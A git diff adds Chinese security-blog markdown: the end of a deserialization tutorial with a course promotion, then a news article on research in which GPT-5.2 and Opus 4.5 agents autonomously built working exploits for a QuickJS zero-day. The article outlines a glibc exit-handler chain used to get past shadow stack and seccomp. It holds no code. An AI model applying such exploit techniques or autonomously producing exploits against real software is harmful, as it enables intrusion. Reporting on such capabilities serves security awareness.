+- 升级相关库到最新版本
+
+## 七、福利+互动
+
+反序列化漏洞是“高级漏洞之王”,掌握它,你在 CTF 和 SRC 中都能轻松挖到高危漏洞。
+
+**200节攻防教程,限时领!**
+
+想要的兄弟,**关注我+在后台发“想学”**
+,直接免费分享!
+
+
+
+咱学漏洞挖掘和CTF,光看文章不够,这套教程里全是**实战演示**
+——从工具配置到漏洞利用,每一步都手把手教,跟着练就能上手!
+
+(注:资源领取入口在公众号后台,关注后发“学习”自动弹链接)
+
+### 下期预告
+
+第18期将带来《高级Pwn技巧:ROP进阶 + 堆风水 + 格式化字符串漏洞》,这是CTF Pwn方向的核心内容,也是很多人从入门到进阶的最大瓶颈,千万不要错过!
+
diff --git a/doc/2026-01/研究显示:GPT-5.2可稳定量产零日漏洞利用.md b/doc/2026-01/研究显示:GPT-5.2可稳定量产零日漏洞利用.md
new file mode 100644
index 00000000..d15bb2ea
--- /dev/null
+++ b/doc/2026-01/研究显示:GPT-5.2可稳定量产零日漏洞利用.md
@@ -0,0 +1,102 @@
+# 研究显示:GPT-5.2可稳定量产零日漏洞利用
+ 安全客 2026-01-21 03:13
+
+一项最新研究正引发全球网络安全圈的广泛关注:先进大模型已能在**几乎无人干预**
+的前提下,**稳定、规模化生成零日漏洞利用代码**
+。这早已超越“AI能否编写PoC(概念验证代码)”的基础探讨,而是针对真实漏洞、真实防护体系、真实成本约束的一次**系统性能力验证**
+,其结果正在重塑网络攻防的底层逻辑。
+
+
+**1**
+
+
+**核心突破:**
+
+**AI自主跑通完整漏洞利用链路**
+
+本次实验由安全研究员Sean Heelan主导,测试目标锁定QuickJS JavaScript解释器中一个此前未被发现的未知漏洞。与以往概念验证不同,研究者并未向AI提供任何现成的利用思路,而是**要求其在真实的技术约束条件下,独立完成漏洞分析、能力构建与利用验证的全流程。**
+
+****
+具体来看,AI智能体需要**依次完成五大核心任务**
+:阅读并深度理解QuickJS源码、对漏洞行为进行调试与逻辑推理、将原始漏洞转化为可复用的能力接口、实现对目标进程内存的任意读取与修改、通过反复试错自主迭代优化利用策略。整个过程中,研究者未对利用细节进行任何人工干预。
+
+
+测试结果显示,两款先进大模型表现亮眼:基于**GPT-5.2**
+的AI智能体在所有测试场景中**全部成功**
+,另一款先进模型**Opus 4.5**
+则仅在个别复杂场景中失利。最终,两者在六种不同目标场景下,共**生成40余个可实际运行的漏洞利用样本**
+,覆盖获取shell、写文件、建立命令与控制通道等多种典型攻击目标,印证了AI对漏洞利用开发全链路的自主掌控能力。
+
+
+2
+
+
+**极限验证:**
+
+**全防护环境下的漏洞利用突破**
+
+研究中最具代表性的测试场景,是要求AI在**多项企业级防护机制全面开启、常规利用路径被彻底封堵**
+的前提下,将指定字符串写入磁盘文件——这一场景高度模拟了真实企业的网络安全防护环境,技术难度拉满。
+
+
+此次启用的防护机制涵盖多个维度:地址空间布局随机化(ASLR)、不可执行内存(NX)、完整RELRO、细粒度控制流完整性(CFI)、硬件级Shadow Stack,以及禁止shell执行的seccomp沙箱。更具挑战性的是,QuickJS中所有与操作系统、文件系统相关的接口均被移除,**传统漏洞利用路径被完全切断**
+。
+
+
+即便在如此严苛的条件下,GPT-5.2仍**成功构建出非传统ROP(返回导向编程)的利用路径**
+:通过glibc的exit handler机制串联七个函数调用,在不触发Shadow Stack保护的前提下完成文件写入操作,同时成功绕开seccomp沙箱限制。整个漏洞利用开发过程**耗时约3小时,消耗5000万token,成本仅约50美元**
+,从资源投入维度证明了该模式的高度可复制性与规模化潜力。
+
+
+**3**
+
+
+**成本与边界:**
+
+**AI攻击能力进入工业化阶段**
+
+从效率与成本来看,AI在漏洞利用开发领域的优势已十分显著。多数测试场景可在1小时内完成,一次成功运行通常消耗约3000万token,成本控制在30美元左右。即便面对最复杂的测试场景,其整体投入也远低于传统高端漏洞研究所需的人力成本——要知道,一名资深漏洞研究员完成类似级别的漏洞利用开发,往往需要数周甚至数月时间。
+
+
+不过研究者也明确指出了**当前AI漏洞利用能力的两大限制**
+。其一,QuickJS的代码规模和复杂度,明显低于Chrome V8、Firefox SpiderMonkey等主流浏览器引擎,AI在更复杂软件系统中的表现仍需进一步验证;其二,AI并未创造全新的安全缓解绕过技术,其核心是利用现实世界中人类漏洞研究员同样会使用的已知机制缺口和实现缺陷。
+
+
+但不可忽视的是,AI所构建的完整漏洞利用链本身是全新的构造,且是针对真实存在的未知漏洞完成的——这意味着,AI已具备将“已知技巧”自动组合成“未知攻击路径”的核心能力。
+
+
+Sean Heelan在研究中直言,**漏洞利用开发天然适合AI自动化**
+:该领域具备明确的成功判定标准、成熟的工具链支撑,以及可系统搜索的解空间。未来,网络进攻能力的上限,可能不再由高级安全研究员的数量决定,而是受限于计算资源与token吞吐能力。
+
+
+这项研究并非一次炫技式的概念验证,而是对AI网络攻击能力的一次贴近现实攻防环境的精准测量。它所呈现的,不是“AI是否危险”的抽象讨论,而是一个正在发生的行业事实:漏洞利用开发这一曾被视为“高度依赖经验和直觉”的稀缺技能,正在快速走向可规模化、工业化生产。
+
+
+目前,完整的实验代码、技术文档与原始输出已在GitHub上公开。研究者同时呼吁,安全社区应将类似评估更多地放在真实目标与真实零日漏洞上,而不仅限于竞赛环境。对于整个网络安全行业而言,AI“量产”零日漏洞的时代,或许才刚刚拉开序幕。
+
+
+消息来源:gbhackers
+
+
+推荐阅读
+
+
+
+
+
+
+
+
+**安全KER**
+
+
+安全KER致力于搭建国内安全人才学习、工具、淘金、资讯一体化开放平台,推动数字安全社区文化的普及推广与人才生态的链接融合。目前,安全KER已整合全国数千位白帽资源,联合南京、北京、广州、深圳、长沙、上海、郑州等十余座城市,与ISC、XCon、看雪SDC、Hacking Group等数个中大型品牌达成合作。
+
+
+
+
+
+**注册安全KER社区**
+
+**链接最新“圈子”动态**
+